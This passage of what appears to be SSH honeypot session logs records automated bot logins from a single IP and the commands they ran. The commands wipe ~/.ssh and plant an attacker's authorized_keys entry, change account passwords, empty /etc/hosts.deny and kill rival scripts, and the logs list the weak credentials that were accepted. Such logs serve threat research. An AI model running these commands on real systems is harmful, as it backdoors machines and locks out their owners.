~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:49.622234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:52.560912+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:53.303685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:53.600111+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:45:53.894845+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:45:54.190492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:54.711395+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:55.004753+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:55.949134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:56.244187+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:57.493406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:57.790991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:58.233837+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:58.529987+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:58.979019+00:00","kind":"output","latency_ms":null,"data":" 12:45:58 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:59.275025+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:59.949171+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:46:00.244234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:46:00.802552+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:46:01.099156+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:46:01.379010+00:00","kind":"output","latency_ms":null,"data":"top - 12:46:01 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:46:01.676290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:46:02.369961+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:46:02.666295+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:46:03.524215+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:46:03.821059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:46:04.489089+00:00","kind":"output","latency_ms":null,"data":"ansible"},{"seq":29,"at":"2026-08-27T12:46:04.785276+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:46:05.787325+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:46:06.094453+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:46:08.255726+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ansible","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"ff00251c-88a1-4a9d-9dcb-00e8ad4b0e5a","name":"tawny-humble-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44940,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:51.488218+00:00","ended_at":"2026-08-27T12:45:52.474235+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ansible","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d848c5aa-6d74-4fbf-bb38-b26e85e4d9ba","name":"western-civil-finch","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44928,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:50.299842+00:00","ended_at":"2026-08-27T12:45:50.902905+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d744511d-1abc-472a-bd84-11855955c36a","name":"fickle-reedy-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43668,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:44:00.286548+00:00","ended_at":"2026-08-27T12:44:01.812020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:43:41.699093+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:43:41.997459+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:43:45.979101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:43:46.242179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:43:46.549280+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:43:46.840933+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\n696OixRjGmhL\\n696OixRjGmhL\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:43:47.138749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:43:47.964538+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:43:48.263838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:43:49.582820+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:43:49.882643+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:43:50.719169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:43:51.023440+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:43:51.472510+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:43:51.773163+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:43:52.568116+00:00","kind":"output","latency_ms":null,"data":" 12:43:52 up 7 days, 9:33, 0 user, load average: 0.34, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:43:52.867112+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:43:53.547015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:43:53.846009+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:43:54.352243+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:43:54.652779+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:43:55.297512+00:00","kind":"output","latency_ms":null,"data":"top - 12:43:55 up 7 days, 9:34, 0 user, load average: 0.34, 0.3, 0.24\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:43:55.596505+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:43:56.119751+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:43:56.419269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:43:57.316263+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:43:57.616646+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:43:58.167838+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:43:58.468165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:43:59.987781+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:44:00.287335+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:44:01.725307+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"6093304b-6641-43c9-9219-e2cab08150d2","name":"autumn-boreal-harrier","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43686,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:44.853109+00:00","ended_at":"2026-08-27T12:43:45.892298+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"xie","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3a3dc6f7-436f-44be-8828-4e40ae7876d9","name":"mindful-gallant-kudu","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43676,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:43:42.663090+00:00","ended_at":"2026-08-27T12:43:44.264309+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"620f9d87-abf7-409c-8e49-4ac4e633c6cd","name":"jaunty-wistful-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47640,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":289,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:41:57.495597+00:00","ended_at":"2026-08-27T12:41:59.208027+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T12:41:40.531028+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:41:40.818622+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:41:44.164816+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:41:45.061197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:41:45.352880+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:41:45.642185+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\nVp09d1Vwkbc5\\nVp09d1Vwkbc5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:41:45.932793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:41:46.744417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:41:47.034123+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:41:48.150267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:41:48.443631+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:41:49.428569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:41:49.719104+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:41:50.434817+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:41:50.724061+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:41:51.285430+00:00","kind":"output","latency_ms":null,"data":" 12:41:51 up 7 days, 9:31, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:41:51.576077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:41:51.877464+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:41:52.165943+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:41:52.502512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:41:52.792092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:41:53.274763+00:00","kind":"output","latency_ms":null,"data":"top - 12:41:53 up 7 days, 9:32, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:41:53.563224+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:41:53.931635+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:41:54.220440+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:41:54.746047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:41:55.035359+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:41:55.795919+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:41:56.082320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:41:57.208159+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:41:57.496462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:41:59.124721+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"ed08a284-20c7-4472-897a-7dd2b295f3aa","name":"boreal-blithe-loris","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47658,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:42.760371+00:00","ended_at":"2026-08-27T12:41:44.081358+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3f6eb3d5-2d6c-444f-84c8-6129feec7ab6","name":"frosty-golden-sloth","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47652,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:41:41.483474+00:00","ended_at":"2026-08-27T12:41:42.163313+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"39da07dd-fb38-4fce-a527-19f9da5cd42c","name":"snowy-lawful-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:56.552160+00:00","ended_at":"2026-08-27T12:39:58.483014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:39:39.555166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:39.849103+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:42.837811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:43.365229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:43.659442+00:00","kind":"input","latency_ms":null,"data":"echo \"root:y9ESUcpyFReL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:39:43.954890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:39:44.249468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:44.840229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:45.136553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:46.295844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.590755+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.943258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:48.240900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.941100+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:49.235838+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:50.124336+00:00","kind":"output","latency_ms":null,"data":" 12:39:50 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:50.421320+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:51.132838+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:51.429901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:51.858547+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:52.155515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.689268+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.976104+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.428389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.728068+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.052840+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 